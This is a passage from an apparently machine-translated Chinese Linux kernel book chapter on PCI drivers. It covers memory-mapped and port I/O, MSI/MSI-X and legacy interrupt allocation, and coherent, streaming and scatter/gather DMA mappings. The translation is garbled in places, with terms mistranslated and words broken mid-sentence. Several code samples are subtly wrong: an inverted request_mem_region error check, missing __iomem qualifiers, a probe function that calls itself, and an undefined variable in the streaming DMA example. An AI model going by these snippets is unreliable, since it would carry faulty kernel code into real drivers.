然后,它们中的每一个被从系统地址空间分配一个存储器区域,使得对这些区域的任何访问都被重定向到相应的设备,目标是对应于 BAR 的正确的本地(在设备中)存储器。 这是内存映射 I/O。 - -在 Linux 内核内存映射的 I/O 世界中,在为内存区域创建映射之前请求(实际上是声称)内存区域是很常见的。 您可以将`request_mem_region()`和`ioremap()`原语用于这两个目的。 以下是它们的原型: - -```sh -struct resource *request_mem_region (unsigned long start, -                                     unsigned long n,                                      const char *name) -void iomem *ioremap(unsigned long phys_addr,                     unsigned long size); -``` - -`request_mem_region()`是一种纯保留机制,不执行任何映射。 它依赖于这样一个事实:其他司机应该有礼貌,应该在轮到他们时呼叫`request_mem_region()`,这将防止另一名司机与已经声明的内存区域重叠。 除非此调用成功返回,否则您不应映射或访问声明的区域。 在其参数中,`name`表示要赋予资源的名称,`start`表示应该为哪个地址创建映射,`n`表示映射应该有多大。 要获取给定条形图的此信息,您可以使用`pci_resource_start()`、`pci_resource_len()`甚至`pci_resource_end()`,它们的原型如下所示: - -* `unsigned long pci_resource_start (struct pci_dev *dev, int bar)`:此函数返回与索引为 BAR 的 BAR 关联的第一个地址(内存地址或 I/O 端口号)。 -* `unsigned long pci_resource_len (struct pci_dev *dev, int bar)`:此函数返回条形`bar`的大小。 -* `unsigned long pci_resource_end (struct pci_dev *dev, int bar)`:此函数返回属于 I/O 区域编号`bar`的最后一个地址。 -* `unsigned long pci_resource_flags (struct pci_dev *dev, int bar)`:此功能不仅与内存资源栏有关。 它实际上返回与此资源相关联的标志。 `IORESOURCE_IO`表示 BAR`bar`是 I/O 资源(因此适用于 I/O 映射 I/O),而`IORESOURCE_MEM`表示它是内存资源(用于内存映射 I/O)。 - -另一方面,`ioremap()`确实创建了实际映射,并在映射区域上返回内存映射的 I/O cookie。 作为示例,以下代码显示如何映射给定设备的`bar0`: - -```sh -unsigned long bar0_base; unsigned long bar0_size; -void iomem *bar0_map_membase; -/* Get the PCI Base Address Registers */ -bar0_base = pci_resource_start(pdev, 0); -bar0_size = pci_resource_len(pdev, 0); -/* * think about managed version and use * devm_request_mem_regions() */ -if (request_mem_region(bar0_base, bar0_size, "bar0-mapping")) { -    /* there is an error */ -    goto err_disable; -} -/* Think about managed version and use devm_ioremap instead */ bar0_map_membase = ioremap(bar0_base, bar0_size); -if (!bar0_map_membase) { -    /* error */ -    goto err_iomap; -} -/* Now we can use ioread32()/iowrite32() on bar0_map_membase*/ -``` - -前面的代码可以很好地工作,但它很单调,因为我们会对每个栏执行此操作。 事实上,`request_mem_region()`和`ioremap()`是非常基本的原语。 PCI 框架提供了更多与 PCI 相关的功能,以便于执行以下常见任务: - -```sh -int pci_request_region(struct pci_dev *pdev, int bar, -                       const char *res_name) -int pci_request_regions(struct pci_dev *pdev,                         const char *res_name) -void iomem *pci_iomap(struct pci_dev *dev, int bar, -                      unsigned long maxlen) -void iomem *pci_iomap_range(struct pci_dev *dev, int bar, -                           unsigned long offset,                            unsigned long maxlen) -void iomem *pci_ioremap_bar(struct pci_dev *pdev, int bar) -void pci_iounmap(struct pci_dev *dev, void iomem *addr) -void pci_release_regions(struct pci_dev *pdev) -``` - -前面的帮助器可以描述如下: - -* `pci_request_regions()`将与`pdev`PCI 设备关联的所有 PCI 区域标记为由所有者`res_name`保留。 在其参数中,`pdev`是要保留其资源的 PCI 设备,`res_name`是要与资源关联的名称。 `pci_request_region()`则以`bar`参数标识的单个条形为目标。 -* `pci_iomap()`为条形图创建映射。 您可以使用`ioread*()`和`iowrite*()`访问它。 `maxlen`指定要映射的最大长度。 如果您想在不先检查其长度的情况下访问完整的栏,请在此处传递`0`。 -* `pci_iomap_range()`从条形图中的偏移量开始创建映射。 生成的映射从`offset`开始,宽度为`maxlen`。 `maxlen`指定要映射的最大长度。 如果要访问从`offset`到末尾的完整栏,请在此处传递`0`。 -* `pci_ioremap_bar()`提供一种防错方式(相对于`pci_ioremap()`)来执行 PCI 内存重新映射。 它确保 BAR 实际上是内存资源,而不是 I/O 资源。 但是,它会映射整个条形图的大小。 -* `pci_iounmap()`与`pci_iomap()`相反,后者会撤消映射。 它的`addr`参数对应于先前由`pci_iomap()`返回的 cookie。 -* `pci_release_regions()`与`pci_request_regions()`相反。 它会释放先前声明(保留)的保留 PCI I/O 和内存资源。 `pci_release_region()`以单条变量为目标。 - -使用这些帮助器,我们可以重写与以前相同的代码,但这次是针对 bar1。 这将如下所示: - -```sh -#define DRV_NAME "foo-drv" -void iomem *bar1_map_membase; -int err; -err = pci_request_regions(pci_dev, DRV_NAME); -if (err) { -    /* an error occured */ goto error; -} -bar1_map_membase = pci_iomap(pdev, 1, 0); -if (!bar1_map_membase) { -    /* an error occured */ -    goto err_iomap; -} -``` - -在声明并映射存储区之后,提供平台抽象的、`ioread*()`和`iowrite*()`API 访问映射的寄存器。 - -### 访问 I/O 端口资源 - -I/O 端口访问需要经历与 I/O 内存相同的步骤,尽管底层机制不同:请求 I/O 区域、映射 I/O 区域(这不是强制的,这只是礼貌问题),以及访问 I/O 区域。 - -前两个步骤已经在您没有注意到的情况下得到了解决。 实际上,`pci_requestregion*()`原语同时处理 I/O 端口和 I/O 内存。 它依赖于资源标志(`pci_resource_flags()`),以便为 I/O 端口调用适当的低级帮助器(`(request_region()`)或为 I/O 内存调用`request_mem_region()`: - -```sh -unsigned long flags = pci_resource_flags(pci_dev, bar); -if (flags & IORESOURCE_IO) -    /* using request_region() */ -else if (flag & IORESOURCE_MEM) -    /* using request_mem_region() */ -``` - -因此,无论资源是 I/O 内存还是 I/O 端口,您都可以安全地使用`pci_request_regions()`或其单条变体`pci_request_region()`。 - -这同样适用于 I/O 端口映射。 `pci_iomap*()`原语能够处理 I/O 端口或 I/O 内存。 它们也依赖于资源标志,并且它们调用适当的帮助器来创建映射。 根据资源类型,底层映射函数是 I/O 存储器的`ioremap()`,它们是`IORESOURCE_MEM`类型的资源,以及 I/O 端口的`__pci_ioport_map()`,它对应于`IORESOURCE_IO`类型的资源。 `__pci_ioport_map()`是一个依赖于 Arch 的函数(实际上被 MIPS 和 SH 架构覆盖),它在大多数情况下对应于`ioport_map()`。 - -要确认我们刚才所说的内容,我们可以查看`pci_iomap()`所依赖的`pci_iomap_range()`函数体: - -```sh -void iomem *pci_iomap_range(struct pci_dev *dev, int bar, -                            unsigned long offset,                             unsigned long maxlen) -{ -    resource_size_t start = pci_resource_start(dev, bar); -    resource_size_t len = pci_resource_len(dev, bar); -    unsigned long flags = pci_resource_flags(dev, bar); -    if (len <= offset || !start) -        return NULL; -    len -= offset; start += offset; -    if (maxlen && len > maxlen) -        len = maxlen; -    if (flags & IORESOURCE_IO) -        return pci_ioport_map(dev, start, len); -    if (flags & IORESOURCE_MEM) -        return ioremap(start, len); -    /* What? */ -    return NULL; -} -``` - -然而,当它访问 I/O 端口时,API 完全改变了。 以下是用于访问 I/O 端口的助手。 这些函数隐藏了底层映射的详细信息以及它们的类型。 下面列出了内核提供的用于访问 I/O 端口的函数: - -```sh -u8 inb(unsigned long port); -u16 inw(unsigned long port); -u32 inl(unsigned long port); -void outb(u8 value, unsigned long port); -void outw(u16 value, unsigned long port); -void outl(u32 value, unsigned long port); -``` - -在前面的节选中,`in*()`系列分别从`port`位置读取一个、两个或四个字节。 获取的数据由一个值返回。 另一方面,`out*()`系列在`port`位置分别写入一个、两个或四个字节,称为`value`参数。 - -### 处理中断问题 - -需要为设备服务中断的驱动需要首先请求这些中断。 从`probe()`方法中请求中断是很常见的。 也就是说,为了处理传统的和非 MSI IRQ,驱动可以直接使用`pci_dev->irq`字段,该字段是在探测设备时预先分配的。 - -但是,对于更通用的方法,建议使用`pci_alloc_irq_vectors()`API。 该函数定义如下: - -```sh -int pci_alloc_irq_vectors(struct pci_dev *dev,                           unsigned int min_vecs, -                          unsigned int max_vecs,                           unsigned int flags); -``` - -如果成功,前面的函数将返回分配的向量数量(可能小于`max_vecs`),如果出现错误,则返回负错误代码。 分配的向量的数量始终至少达到`min_vecs`。 如果`dev`可用的中断向量少于`min_vecs`,则该功能将失败,并返回`-ENOSPC`。 - -此功能的优势在于,它既可以处理传统中断,也可以处理 MSI 或 MSI-X 中断。 根据`flags`参数,驱动可以指示 PCI 层为该设备设置 MSI 或 MSI-X 功能。 此参数用于指定设备和驱动使用的中断类型。 可能的标志在`include/linux/pci.h`中定义: - -* `PCI_IRQ_LEGACY`:单个传统 IRQ 矢量。 -* `PCI_IRQ_MSI`:在成功路径上,将`pci_dev->msi_enabled`设置为`1`。 -* `PCI_IRQ_MSIX`:在成功路径上,将`pci_dev->msix_enabled`设置为`1`。 -* `PCI_IRQ_ALL_TYPES`:这允许尝试分配上述任何类型的中断,但顺序固定。 总是先尝试 MSI-X 模式,如果成功,该功能会立即返回。 如果 MSI-X 失败,则会尝试 MSI。 当 MSI-X 和 MSI 都出现故障时,传统模式用作后备模式。 驱动可以依靠`pci_dev->msi_enabled`和`pci_dev->msix_enabled`来确定哪种模式是成功的。 -* `PCI_IRQ_AFFINITY`:这允许关联自动分配。 如果设置,`pci_alloc_irq_vectors()`将在可用 CPU 之间分散中断。 - -要获取要传递给`request_irq()`和`free_irq()`的 Linux IRQ 号(对应于向量),请使用以下函数: - -```sh -int pci_irq_vector(struct pci_dev *dev, unsigned int nr); -``` - -在前面的代码中,`dev`是要操作的 PCI 设备,`nr`是设备相关的中断向量索引(从 0 开始)。 现在,让我们更深入地看看该函数是如何工作的: - -```sh -int pci_irq_vector(struct pci_dev *dev, unsigned int nr) -{ -    if (dev->msix_enabled) { -        struct msi_desc *entry; -        int i = 0; -        for_each_pci_msi_entry(entry, dev) { -            if (i == nr) -                return entry->irq; -            i++; -        } -        WARN_ON_ONCE(1); -        return -EINVAL; -    } -    if (dev->msi_enabled) { -        struct msi_desc *entry = first_pci_msi_entry(dev); -        if (WARN_ON_ONCE(nr >= entry->nvec_used)) -            return -EINVAL; -    } else { -        if (WARN_ON_ONCE(nr > 0)) -            return -EINVAL; -    } -    return dev->irq + nr; -} -``` - -在前面的摘录中,我们可以看到 MSI-X 是第一次尝试(`if (dev->msix_enabled)`)。 此外,返回的 IRQ 与设备探测时预先分配的原始`pci_dev->irq`无关。 但如果启用了 MSI(`dev->msi_enabled`为 TRUE),则此函数将执行一些健全性检查,并返回`dev->irq + nr`。 这确认了这样一个事实:当我们在 MSI 模式下操作时,`pci_dev->irq`被一个新值替换,并且这个新值对应于分配的 MSI 矢量的基本中断号。 最后,您会注意到没有对遗留模式进行特殊检查。 - -实际上,在传统模式下,预先分配的`pci_dev->irq`保持不变,并且它只是一个分配的向量。 因此,在传统模式下操作时,`nr`应为`0`。 在本例中,返回的向量只有`dev->irq`。 - -某些器件可能不支持使用传统线路中断,在这种情况下,驱动可以指定只接受 MSI 或 MSI-X: - -```sh -nvec = -    pci_alloc_irq_vectors(pdev, 1, nvec,                           PCI_IRQ_MSI | PCI_IRQ_MSIX); -if (nvec < 0) -    goto out_err; -``` - -重要音符 - -请注意,MSI/MSI-X 和传统中断是互斥的,默认情况下,参考设计支持传统内部中断。 在设备上启用 MSI 或 MSI-X 中断后,它将保持此模式,直到它们再次被禁用。 - -#### 传统 INTX IRQ 设置 - -PCI 总线类型(`struct bus_type pci_bus_type`)的探针方法是`pci_device_probe()`,在`drivers/pci/pci-driver.c`中实现。 每次将新的 PCI 设备添加到总线或在系统中注册新的 PCI 驱动时,都会调用此方法。 此函数调用`pci_assign_irq(pci_dev)`,然后调用`pcibios_alloc_irq(pci_dev)`,以便将 IRQ 分配给 PCI 设备,即著名的`pci_dev->irq`。 这个把戏开始发生在`pci_assign_irq()`。 `pci_assign_irq()`读取 PCI 设备所连接的引脚,如下所示: - -```sh -u8 pin; -pci_read_config_byte(dev, PCI_INTERRUPT_PIN, &pin); -/* (1=INTA, 2=INTB, 3=INTD, 4=INTD) */ -``` - -接下来的步骤依赖于 PCI 主桥,它的驱动应该公开许多回调,包括一个特殊的回调`.map_irq`,它的目的是根据设备的插槽和之前读取的引脚为设备创建 IRQ 映射: - -```sh -void pci_assign_irq(struct pci_dev *dev) -{ -    int irq = 0; u8 pin; -    struct pci_host_bridge *hbrg =                pci_find_host_bridge(dev->bus); -    if (!(hbrg->map_irq)) { -    pci_dbg(dev, "runtime IRQ mapping not provided by arch\n"); -         return; -    } -    pci_read_config_byte(dev, PCI_INTERRUPT_PIN, &pin); -    if (pin) { -        [...] -        irq = (*(hbrg->map_irq))(dev, slot, pin); -        if (irq == -1) -            irq = 0; -    } -    dev->irq = irq; -    pci_dbg(dev, "assign IRQ: got %d\n", dev->irq); -    /* Always tell the device, so the driver knows what is the -     * real IRQ to use; the device does not use it.      */ -    pci_write_config_byte(dev, PCI_INTERRUPT_LINE, irq); -} -``` - -这是设备探测期间 IRQ 的第一次分配。 返回到`pci_device_probe()`函数,在`pci_assign_irq()`之后调用的下一个方法是`pcibios_alloc_irq()`。 然而,在`arch/arm64/kernel/pci.c`中,`pcibios_alloc_irq()`被定义为一个弱而空的函数,仅被 AArch64 架构覆盖,它依赖于 ACPI(如果启用)来破坏分配的 IRQ。 也许在该功能中,其他体系结构也会想要覆盖此功能。 - -`pci_device_probe()`的最终代码如下: - -```sh -static int pci_device_probe(struct device *dev) -{ -    int error; -    struct pci_dev *pci_dev = to_pci_dev(dev); -    struct pci_driver *drv = to_pci_driver(dev->driver); -    pci_assign_irq(pci_dev); -    error = pcibios_alloc_irq(pci_dev); -    if (error < 0) -        return error; -    pci_dev_get(pci_dev); -    if (pci_device_can_probe(pci_dev)) { -        error = pci_device_probe(drv, pci_dev); -        if (error) { -            pcibios_free_irq(pci_dev); -            pci_dev_put(pci_dev); -        } -    } -    return error; -} -``` - -重要音符 - -在调用`pci_enable_device()`之前,`PCI_INTERRUPT_LINE`中包含的 IRQ 值是错误的。 无论如何,外设驱动永远不应该改变`PCI_INTERRUPT_LINE`b,因为它反映了 PCI 中断是如何连接到中断控制器的,这是不可改变的。 - -#### 仿真 INTX IRQ SWIZZING - -请注意,大多数处于传统 INTX 模式的 PCIe 设备将缺省为本地 INTA“虚拟线路输出”,这同样适用于通过 PCIe/PCI 网桥连接的许多物理 PCI 设备。 操作系统最终会在系统中的所有外围设备之间共享 INTA 输入;所有设备共享同一 IRQ 线路-我会让您想象一下灾难。 - -这个问题的解决方案是“虚拟线路 INTX IRQ swizzing”。 回到`pci_device_probe()`函数的代码,它调用`pci_assign_irq()`。 如果 y 你看这个函数 n(在`drivers/pci/setup-irq.c`)的主体,你会注意到一些混乱的操作,这些操作旨在解决这个问题。 - -#### 锁定注意事项 - -对于许多设备驱动来说,在中断处理程序中采用每个设备的自旋锁是很常见的。 由于中断在基于 Linux 的系统上保证是不可重入的,因此在处理基于管脚的中断或单个 MSI 时,没有必要禁用中断。 但是,如果设备使用多个中断,则驱动必须在锁定期间禁用中断。 如果设备发送不同的中断,其处理程序将尝试获取已被正在服务的中断锁定的自旋锁,这将防止死锁。 因此,在这种情况下使用的锁定原语是`spin_lock_irqsave()`或`spin_lock_irq()`,它们禁用本地中断并获取锁。 有关锁定原语和中断管理的更多详细信息,请参阅[*第 1 章*](01.html#_idTextAnchor015)*,LIN 嵌入式开发人员的 UX 内核概念,*。 - -#### 简单介绍一下旧式 API - -有许多驱动仍在使用旧的、现在不推荐使用的 MSI 或 MSI-X API,它们是`pci_enable_msi()`、`pci_disable_msi()`、`pci_enable_msix_range()`、`pci_enable_msix_exact()`和`pci_disable_msix()`。 - -前面列出的 API 根本不应该在新代码中使用。 但是,下面的代码摘录示例在 MSI 不可用时尝试使用 MSI 并回退到传统中断模式: - -```sh -    int err; -    /* Try using MSI interrupts */ -    err = pci_enable_msi(pci_dev); -    if (err) -        goto intx; -    err = devm_request_irq(&pci_dev->dev, pci_dev->irq, -                        my_msi_handler, 0, "foo-msi", priv); -    if (err) { -        pci_disable_msi(pci_dev); -        goto intx; -    } -    return 0; -    /* Try using legacy interrupts */ -intx: -    dev_warn(&pci_dev->dev, -    "Unable to use MSI interrupts, falling back to legacy\n"); -    err = devm_request_irq(&pci_dev->dev, pci_dev->irq, -             my_shared_handler, IRQF_SHARED, "foo-intx", priv); -    if (err) { -        dev_err(pci_dev->dev, "no usable interrupts\n"); -        return err; -    } -    return 0; -``` - -由于前面的代码包含不推荐使用的 API,因此将其转换为新的 API 可能是一个很好的练习。 - -既然我们已经完成了通用 PCI 设备驱动结构,并且已经解决了此类驱动中的中断管理问题,那么我们可以向前迈进一步,并利用设备的直接内存访问功能。 - -# PCI 和直接存储器存取(DMA) - -为了通过允许 CPU 不执行大量内存复制操作来加速数据传输和卸载 CPU,控制器和设备都可以配置为执行直接内存访问(DMA),这是一种在设备和主机之间交换数据而不涉及 CPU 的方法。 根据根联合体的不同,PCI 地址空间可以是 32 位或 64 位。 - -作为 DMA 传输的源或目标的系统内存区域称为 DMA 缓冲区。 但是,DMA 缓冲存储器范围取决于总线地址的大小。 这源于 24 位宽的 ISA 总线。 在这样的总线中,DMA 缓冲区只能位于系统内存的底部 16MB 中。 该底部存储器也称为`ZONE_DMA`。 但是,PCI 总线没有这样的限制。 传统 PCI 总线支持 32 位寻址,而 PCIe 将其扩展到 64 位。 因此,可以使用两种不同的地址格式:32 位地址格式和 64 位地址格式。 为了拉取 DMA API,驱动应包含`#include `。 - -要通知内核支持 DMA 的缓冲区的任何特殊需要(包括指定总线宽度),可以使用定义如下的`dma_set_mask()`: - -```sh -dma_set_mask(struct device *dev, u64 mask); -``` - -这将有助于系统有效地分配内存,特别是如果设备可以直接寻址系统 RAM 中超过 4 GB 物理 RAM 的“一致内存”。 在上面的助手中,`dev`是 PCI 设备的底层设备,`mask`是要使用的实际掩码,您可以使用`DMA_BIT_MASK`宏以及实际总线宽度来指定它。 `dma_set_mask()`成功时返回`0`。 任何其他值都表示发生错误。 - -以下是 32 位(或 64 位)位系统的示例: - -```sh -int err = 0; -err = pci_set_dma_mask(pci_dev, DMA_BIT_MASK(32)); -/* - * OR the below on a 64 bits system: - * err = pci_set_dma_mask(dev, DMA_BIT_MASK(64)); - */ -if (err) { -    dev_err(&pci_dev->dev, -            "Required dma mask not supported, \ -              failed to initialize device\n"); -    goto err_disable_pci_dev; -} -``` - -也就是说,DMA 传输需要适当的内存映射。 该映射包括分配 DMA 缓冲器并为每个缓冲器生成总线地址,其类型为`dma_addr_t`。 由于 I/O 设备通过总线控制器和任何介入的 I/O 存储器管理单元(IOMMU)的镜头查看 DMA 缓冲区,因此产生的总线地址将被提供给设备,以便通知它 DMA 缓冲区的位置。 由于每个内存映射还会生成一个虚拟地址,因此不仅会为映射生成总线地址,还会为映射生成虚拟地址。 为了使 CPU 能够访问缓冲区,DMA 服务例程还将 DMA 缓冲区的内核虚拟地址映射到总线地址。 - -有两种类型的(PCI)DMA 映射:一致性映射和字符串传输映射。 对于 either,内核提供了一个健康的 API,它屏蔽了处理 DMA 控制器的许多内部细节。 - -## PCI 一致(又称一致)映射 - -这种映射被称为一致,因为它为设备分配未缓存(一致)和无缓冲的内存以执行 DMA 操作。 由于设备或 CPU 的写入可以立即由任一方读取,而无需担心缓存一致性,因此此类映射也是同步的。 所有这些都使得一致的映射对于系统来说过于昂贵,尽管大多数设备都需要这样做。 但是,在代码方面,它更容易实现。 - -以下函数设置相干映射: - -```sh -void * pci_alloc_consistent(struct pci_dev *hwdev, size_t size, -                            dma_addr_t *dma_handle) -``` - -如上所述,可以保证为映射分配的内存在物理上是连续的。 `size`是您需要分配的区域的长度。 此函数返回两个值:可用于从 CPU 访问它的虚拟地址和第三个参数`dma_handle`,它是一个输出参数,与函数调用为分配区域生成的总线地址相对应。 总线地址实际上就是您传递给 PCI 设备的地址。 - -请注意,`pci_alloc_consistent()`实际上是设置了`GFP_ATOMIC`标志的`dma_alloc_coherent()`的哑包装器,这意味着分配不会休眠,从原子上下文中调用它是安全的。 如果您希望更改分配标志,则可能需要使用`dma_alloc_coherent()`(强烈建议您这样做),例如,使用`GFP_KERNEL`而不是 `GFP_ATOMIC`。 - -请记住,映射的开销很大,它最少只能分配一个页面。 在幕后,它只分配 2 的幂的页数。页的顺序是用`int order = get_order(size)`得到的。 这样的映射将用于持续设备生命周期的缓冲器。 - -要取消映射并释放这样的 DMA 区域,可以调用`pci_free_consistent()`: - -```sh -pci_free_consistent(dev, size, cpu_addr, dma_handle); -``` - -这里,`cpu_addr`和`dma_handle`对应于内核虚拟地址和由`pci_alloc_consistent()`返回的总线地址。 虽然可以从原子上下文调用映射函数,但在这样的上下文中可能不会调用此函数。 - -还要注意,`pci_free_consistent()`是`dma_free_coherent()`的一个简单包装器,如果使用`dma_alloc_coherent()`完成了映射,则可以使用它: - -```sh -#define DMA_ADDR_OFFSET 0x14 -#define DMA_REG_SIZE_OFFSET 0x32 -[...] -int do_pci_dma (struct pci_dev *pci_dev, int direction,                 size_t count) -{ -    dma_addr_t dma_pa; -    char *dma_va; -    void iomem *dma_io; -    /* should check errors */ -    dma_io = pci_iomap(dev, 2, 0); -    dma_va = pci_alloc_consistent(&pci_dev->dev, count,                                   &dma_pa); -    if (!dma_va) -        return -ENOMEM; -    /* may need to clear allocated region */ -    memset(dma_va, 0, count); -    /* set up the device */ -    iowrite8(CMD_DISABLE_DMA, dma_io + REG_CMD_OFFSET); -    iowrite8(direction ? CMD_WR : CMD_RD); -    /* Send bus address to the device */ -    iowrite32(dma_pa, dma_io + DMA_ADDR_OFFSET); -    /* Send size to the device */ -    iowrite32(count, dma_io + DMA_REG_SIZE_OFFSET); -    /* Start the operation */ -    iowrite8(CMD_ENABLE_DMA, dma_io + REG_CMD_OFFSET); -    return 0; -} -``` - -前面的代码显示了如何执行 DMA 映射,并将 t 结果总线添加地址发送到设备。 在现实世界中,可能会引发中断。 然后,您应该从驱动内部处理它。 - -## 流式 DMA 映射 - -另一方面,流映射在代码方面有更多的限制。 首先,这样的映射需要来处理已经分配的缓冲区。 此外,已映射的缓冲区属于设备,而不再属于 CPU。 因此,在 CPU 可以使用缓冲区之前,应该先取消它的映射,以便解决可能的缓存问题。 - -如果需要启动写事务(CPU 到设备),驱动应该在映射之前将数据放在缓冲区中。 此外,必须指定数据应该移入的方向,并且数据应该仅基于此方向使用。 - -在 CPU 可以访问这些缓冲区之前,必须先取消它们的映射,这是因为缓存的缘故。 不用说,CPU 映射是可缓存的。 用于流式映射的`dma_map_*()`系列函数(实际上由`pci_map_*()`函数包装)将首先清除/使与缓冲区相关的缓存无效,并将依赖 CPU 在对应的`dma_unmap_*()`(由`pci_unmap_*()`函数包装)之前不访问这些缓冲区。 在 CPU 可以读取设备写入内存的任何数据之前,这些取消映射将再次使缓存无效(如有必要),以防在此期间发生任何推测性获取。 只有在此时,CPU 才能访问缓冲区。 - -有一些流映射可以接受几个不连续的和分散的缓冲区。 然后,我们可以列举两种形式的流映射: - -* 单缓冲区映射,仅允许的单页映射 -* 散布/聚集贴图,其中 ch 允许传递多个缓冲区(散布在内存上) - -以下各节将介绍它们中的每一个。 - -### 单缓冲区映射 - -这包括映射单个缓冲区。 它是用来偶尔绘制地图的。 也就是说,您可以使用以下内容设置单个缓冲区: - -```sh -dma_addr_t pci_map_single(struct pci_dev *hwdev, void *ptr, -                          size_t size, int direction) -``` - -`direction`应为`PCI_DMA_BIDIRECTION`、`PCI_DMA_TODEVICE`、`PCI_DMA_FROMDEVICE`、`or PCI_DMA_NONE`。 `ptr`是缓冲区的内核虚拟地址,`dma_addr_t`是可以发送到设备的返回总线地址。 您应该确保使用与数据的移动方式真正匹配的方向,而不是总是`DMA_BIDIRECTIONAL`。 `pci_map_single()`是`dma_map_single()`的哑包装,其方向映射到`DMA_TO_DEVICE`、`DMA_FROM_DEVICE`或`DMA_BIDIRECTIONAL`。 - -您应该使用以下内容释放映射: - -```sh -Void pci_unmap_single(struct pci_dev *hwdev,                       dma_addr_t dma_addr, -                      size_t size, int direction) -``` - -这是对`dma_unmap_single()`的包装。 `dma_addr`应与`pci_map_single()`返回的值相同(如果使用,则与`dma_map_single()`返回的值相同)。 `direction`和`size`应该与您在映射中指定的内容相匹配。 - -下面显示了一个简化的流式映射示例(实际上是单个缓冲区): - -```sh -int do_pci_dma (struct pci_dev *pci_dev, int direction, -                void *buffer, size_t count) -{ -    dma_addr_t dma_pa; -    /* bus address */ -    void iomem *dma_io; -    /* should check errors */ -    dma_io = pci_iomap(dev, 2, 0); -    dma_dir = (write ? DMA_TO_DEVICE : DMA_FROM_DEVICE); -    dma_pa = pci_map_single(pci_dev, buffer, count, dma_dir); -    if (!dma_va) -        return -ENOMEM; -    /* may need to clear allocated region */ -    memset(dma_va, 0, count); -    /* set up the device */ -    iowrite8(CMD_DISABLE_DMA, dma_io + REG_CMD_OFFSET); -    iowrite8(direction ? CMD_WR : CMD_RD); -    /* Send bus address to the device */ -    iowrite32(dma_pa, dma_io + DMA_ADDR_OFFSET); -    /* Send size to the device */ -    iowrite32(count, dma_io + DMA_REG_SIZE_OFFSET); -    /* Start the operation */ -    iowrite8(CMD_ENABLE_DMA, dma_io + REG_CMD_OFFSET); -    return 0; -} -``` - -在前面的示例中,假定已经分配了`buffer`,并假定包含该数据。 然后对其进行映射,将其总线地址发送到设备,并开始 DMA 操作。 下面的代码示例(作为 DMA 事务的中断处理程序实现)演示了如何从 CPU 端处理缓冲区: - -```sh -void pci_dma_interrupt(int irq, void *dev_id) -{ -    struct private_struct *priv =     (struct private_struct *) dev_id; -    /* Unmap the DMA buffer */ -    pci_unmap_single(priv->pci_dev, priv->dma_addr, -                     priv->dma_size, priv->dma_dir); -    /* now it is safe to access the buffer */ -    [...] -} -``` - -在前面的内容中,映射在 CPU 可以使用缓冲区之前被释放。 - -### 散布/聚集贴图 - -散布/聚集映射是第二类流式 DMA 映射,使用它,您可以在单次拍摄中传输多个缓冲区(不一定在物理上是连续的),而不是分别映射每个缓冲区并逐个传输它们。 为了设置`scatterlist`映射,您应该首先分配分散的缓冲区,这些缓冲区必须是页面大小的,但最后一个缓冲区的大小可能不同。 在此之后,您应该分配一个`scatterlist`数组,并使用`sg_set_buf()`用以前分配的缓冲区填充它。 最后,您必须在`scatterlist`数组上调用`dma_map_sg()`。 使用 DMA 后,调用数组上的`dma_unmap_sg()`以取消映射`scatterlist`项。 - -虽然您可以通过映射多个缓冲区的每个缓冲区,通过 DMA 逐个发送它们的内容,但 Scatter/Gather 可以通过将指向`scatterlist`的指针连同长度(列表中条目的数量)一起发送到设备,从而一次发送所有内容: - -```sh -u32 *wbuf1, *wbuf2, *wbuf3; -struct scatterlist sgl[3]; -int num_mapped; -wbuf1 = kzalloc(PAGE_SIZE, GFP_DMA); -wbuf2 = kzalloc(PAGE_SIZE, GFP_DMA); -/* size may be different for the last entry */ -wbuf3 = kzalloc(CUSTOM_SIZE, GFP_DMA); -sg_init_table(sg, 3); -sg_set_buf(&sgl[0], wbuf1, PAGE_SIZE); -sg_set_buf(&sgl[1], wbuf2, PAGE_SIZE); -sg_set_buf(&sgl[2], wbuf3, CUSTOM_SIZE); -num_mapped = pci_map_sg(NULL, sgl, 3, PCI_DMA_BIDIRECTIONAL); -``` - -首先,请注意`pci_map_sg()`是`dma_map_sg()`的愚蠢包装。 在前面的代码中,我们使用了`sg_init_table()`,这会产生一个静态分配的表。 我们本可以使用`sg_alloc_table()`进行动态分配。 此外,我们可以使用`for_each_sg()`宏,以便在每个`sg`(**散布列表**)元素上循环,同时使用`sg_set_page()`帮助器来设置该散布列表绑定到的页面(您永远不应该直接分配该页面)。 以下是涉及此类帮助器的示例: - -```sh -static int pci_map_memory(struct page **pages, -                          unsigned int num_entries, -                          struct sg_table *st) -{ -    struct scatterlist *sg; -    int i; -    if (sg_alloc_table(st, num_entries, GFP_KERNEL)) -        goto err; -    for_each_sg(st->sgl, sg, num_entries, i) -        sg_set_page(sg, pages[i], PAGE_SIZE, 0); -    if (!pci_map_sg(priv.pcidev, st->sgl, st->nents, -                    PCI_DMA_BIDIRECTIONAL)) -        goto err; -    return 0; -err: -    sg_free_table(st); -    return -ENOMEM; -} -``` - -在前面的块中,应该已经分配了页面,并且显然应该是`PAGE_SIZE`大小。 `st`是将在该函数的成功路径上适当设置的输出参数。 - -同样,请注意分散列表条目必须是页面大小的(除了最后一个条目,它可能有不同的大小)。 对于输入散列表中的每个缓冲区,`dma_map_sg()`确定要分配给器件的正确总线地址。 每个缓冲区的总线地址和长度存储在结构分散列表条目中,但它们在结构中的位置因体系结构不同而不同。 因此,您可以使用两个宏来使代码可移植: - -* `dma_addr_t sg_dma_address(struct scatterlist *sg)`:这将从此散列表条目返回总线(DMA)地址。 -* `unsigned int sg_dma_len(struct scatterlist *sg)`:此参数返回此缓冲区的长度。 - -`dma_map_sg()`和`dma_unmap_sg()`负责高速缓存一致性。 但是,如果必须在 DMA 传输之间访问(读/写)数据,则必须以适当的方式在每次传输之间同步缓冲区,如果 CPU 需要访问缓冲区,则使用`dma_sync_sg_for_cpu()`;如果是需要访问的设备,则使用`dma_sync_sg_for_device()`。 用于单个区域映射的类似函数是`dma_sync_single_for_cpu()`和`dma_sync_single_for_device()`。 - -考虑到以上所有的,我们可以得出结论:相干映射编码简单,但是使用成本很高,而流映射则具有相反的特性。 当 I/O 设备长时间拥有缓冲区时,使用流映射。 当每个 DMA 在不同的缓冲区(例如网络驱动)上操作时,流式 DMA 对于异步操作是常见的,在该缓冲区中,每个`skbuf`数据被动态映射和取消映射。 但是,设备可能对您的应该使用什么方法拥有最终决定权。 也就是说,如果可以选择的话,您应该在可以的时候使用流式映射,在必须的时候使用连贯的映射。 - -# 摘要 - -在本章中,我们讨论了 PCI 规范总线和实现,以及它在 Linux 内核中的支持。 我们了解了枚举过程以及 Linux 内核如何允许访问不同的地址空间。 然后,我们按照详细的分步指南介绍了如何编写 PCI 